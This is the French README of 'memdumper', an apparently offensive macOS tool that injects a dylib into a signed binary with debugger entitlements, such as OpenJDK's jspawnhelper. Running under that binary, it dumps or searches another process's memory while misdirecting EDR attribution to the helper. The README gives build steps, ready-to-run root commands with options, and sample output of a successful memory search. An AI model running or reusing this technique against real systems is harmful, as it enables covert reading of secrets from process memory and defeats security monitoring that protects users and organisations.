
Exploite les entitlements de débogueur de macOS et DYLD_INSERT_LIBRARIES pour dumper ou rechercher la mémoire d'un processus en cours d'exécution tout en réorientant l'attribution EDR vers un binaire d'assistance signé.
memdumper lit la mémoire d'un processus macOS en cours d'exécution sous l'entitlement de débogueur d'un autre binaire signé. L'objectif est que task_for_pid et ptrace s'exécutent en tant que ce binaire doté de l'entitlement, afin qu'un EDR l'enregistre plutôt que memdumper.
par cenobyte [email protected] 2026
https://github.com/cenobyte-vincit/memdumper
memdumper démarre un binaire doté d'entitlements portant com.apple.security.cs.debugger ainsi que les deux entitlements qui permettent une injection via DYLD_INSERT_LIBRARIES. Utilisez-le pour rechercher et extraire la mémoire d'un autre processus en tant que root. jspawnhelper d'OpenJDK est un binaire courant, surtout sur les machines de développement.
Donnez à attach.sh un PID cible et le binaire doté d'entitlements. Le constructeur de la dylib s'exécute avant le main de ce binaire, lit la cible, puis appelle _exit. Le binaire doté d'entitlements n'atteint jamais main, donc un helper tel que jspawnhelper n'affiche pas sa bannière d'utilisation. Les arguments supplémentaires après le binaire doté d'entitlements restent sur la ligne de commande qu'un EDR enregistre. Sans -s, la dylib affiche un hexdump du début de chaque région lisible. Avec -s, elle recherche la chaîne dans ces régions. L'espace d'adressage de la cible n'est pas modifié. L'attachement par ptrace peut arrêter brièvement la cible.
L'état de l'extraction est la ligne [RESULT] dans la sortie fusionnée. Une injection réussie se termine avec le code 0 après la fin du constructeur.
com.apple.security.cs.debugger, com.apple.security.cs.allow-dyld-environment-variables et com.apple.security.cs.disable-library-validation (par exemple jspawnhelper d'OpenJDK)clangmakeattach.sh et les scripts de test (brew install shellcheck)brew install cppcheck)Sur l'hôte de compilation :
make
Cela produit memdumper.dylib. Copiez attach.sh et memdumper.dylib sur la cible si les machines sont différentes.
Exécutez attach.sh en tant que root depuis le répertoire qui contient memdumper.dylib. Un appelant non-root est refusé avant que le binaire doté d'entitlements ne démarre (root required). Cela évite la boîte de dialogue de mot de passe Developer Tool Access (taskgated / Authorization Services). Cette boîte de dialogue n'est pas liée à Transparency, Consent, and Control (TCC).
sudo ./attach.sh [options] -p <pid> <entitled-binary> [args...]
| Option | Signification |
|---|---|
-p, --pid PID | ID du processus cible (requis) |
-s, --search STRING | Recherche STRING dans les régions lisibles |
-n, --max-regions N | Nombre maximal de régions lisibles à afficher en hexdump (défaut 100). Uniquement sur le chemin de dump |
-f, --force | Continuer lorsque codesign signale Hardened Runtime |
-h, --help | Afficher l'aide (sortie avec code 1) |
Vérifiez qu'un binaire candidat doté d'entitlements possède les trois entitlements. Le préfixe Cellar et la version d'OpenJDK varient ; attach.sh utilise cette disposition dans sa propre aide :
codesign -d --entitlements - \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Extrayez les régions lisibles du PID 4543 :
sudo ./attach.sh -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Recherchez HELLO dans ce processus :
sudo ./attach.sh -s HELLO -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Limitez le dump à 50 régions lisibles, en utilisant java comme binaire doté d'entitlements. TestSpawn reste sur la ligne de commande ; le main de java ne s'exécute pas :
sudo ./attach.sh -n 50 -p 4543 \
/opt/homebrew/Cellar/openjdk/25.0.2/bin/java TestSpawn
Un éditeur sans Hardened Runtime est une cible de smoke test fonctionnelle. Démarrez-le en tant qu'utilisateur propriétaire du buffer, puis attachez-vous en tant que root. Dans un terminal :
nano foo
Mettez HELLO dans le buffer pour que la chaîne soit présente dans le processus (enregistrez le fichier ou laissez-le non enregistré). Dans un autre terminal, depuis le répertoire qui contient memdumper.dylib :
sudo ./attach.sh -s HELLO -p "$(pgrep nano)" \
/opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
Une correspondance ressemble à ceci. Le processus se termine ensuite avec le code 0 :
Target: pid 9810 (nano)
Target has no hardened runtime
[MEMDUMPER] Injected into PID 9852 (UID 0)
[MEMDUMPER] Entitled binary: /opt/homebrew/Cellar/openjdk/25.0.2/libexec/openjdk.jdk/Contents/Home/lib/jspawnhelper
[MEMDUMPER] Target: PID 9810 (nano)
[METHOD1] task_for_pid() on PID 9810 (nano)
[*] Got task port 0x1013
[*] Task info: virt=425098.0MB res=8.3MB
[*] Threads: 1
[MEMORY SEARCH] Looking for "HELLO" in PID 9810
MATCH at 0xa70c60200 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c601d0: 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |O...............|
0x0000000a70c601e0: 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |#...............|
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 |./...|
MATCH at 0xa70c60230 (region: 0xa70c00000-0xa71000000, prot: rw-)
Context:
0x0000000a70c601f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
0x0000000a70c60200: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60210: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60220: 6f d9 b9 83 27 dc 6a ec 00 04 00 00 00 00 00 00 |o...'.j.........|
0x0000000a70c60230: 48 45 4c 4c 4f 00 00 00 00 00 00 00 00 00 00 00 |HELLO...........|
0x0000000a70c60240: 2e 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |./..............|
0x0000000a70c60250: 66 6f 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 |foo.............|
0x0000000a70c60260: 2f d9 b9 83 27 dc 6a ec 22 90 00 00 00 00 00 00 |/...'.j.".......|
0x0000000a70c60270: 00 00 00 00 00 |.....|
Search complete: 2 matches found in 70 regions
[METHOD2] ptrace(PT_ATTACHEXC) on PID 9810 (nano)
[*] Attached with ptrace
[*] Detached successfully
[METHOD3] proc_pidinfo() on PID 9810 (nano)
[*] Process info: virt=425098MB res=8MB threads=1
[RESULT] 3/3 methods successful - FULL ACCESS
[MEMDUMPER] Done
attach.sh ne vérifie pas les entitlements du binaire doté d'entitlements. Un binaire auquel il manque l'un des trois échoue lors de l'injection ou au niveau de task_for_pid.
| Code | Signification |
|---|---|
| 0 | Constructeur terminé après une injection réussie |
| 1 | Erreur d'utilisation, non-root, memdumper.dylib absent du répertoire courant, -p manquant, PID cible introuvable, Hardened Runtime sans --force, ou injection non effectuée (le binaire doté d'entitlements s'est alors exécuté et est sorti avec un code non nul) |